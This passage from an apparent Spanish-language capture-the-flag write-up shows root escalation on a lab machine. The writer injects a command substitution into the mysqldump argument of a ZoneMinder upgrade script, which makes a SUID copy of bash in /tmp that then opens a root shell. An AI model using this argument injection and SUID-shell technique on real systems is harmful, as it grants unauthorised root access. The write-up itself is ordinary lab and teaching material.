WARNING - You have specified an upgrade from version 1 but the database version found is 1.36.32. Is this correct?
Press enter to continue or ctrl-C to abort :
Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.
mysqldump: Got error: 1698: "Access denied for user '-p$(whoami)'@'localhost'" when trying to connect
Output:
Command 'mysqldump -u$(cp /usr/bin/bash /tmp/gunzf0x ; chmod 4755 /tmp/gunzf0x) -p'$(whoami)' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump' exited with status: 2
De manera que, básicamente, creo una copia de /usr/bin/bash
llamada /tmp/gunzf0x
y, al archivo que es la copia, le asigno el permiso 4755
.
Decido chequear el directorio /tmp
y esto funcionó:
zoneminder@surveillance:/tmp$ ls -la /tmp
total 1468
drwxrwxrwt 14 root root 4096 Apr 19 01:48 .
drwxr-xr-x 18 root root 4096 Nov 9 13:19 ..
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .ICE-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .Test-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .X11-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .XIM-unix
drwxrwxrwt 2 root root 4096 Apr 18 21:49 .font-unix
-rwsr-xr-x 1 root root 1396520 Apr 19 01:46 gunzf0x
<SNIP>
De manera que finalmente ejecuto el binario malicioso como el propietario y nos convertimos en root
, simplemente corriendo /tmp/gunzf0x -p
:
zoneminder@surveillance:/tmp$ /tmp/gunzf0x -p
gunzf0x-5.1# whoami
root
donde, finalmente, podemos leer la flag de root
en el directorio /root
.
~Happy Hacking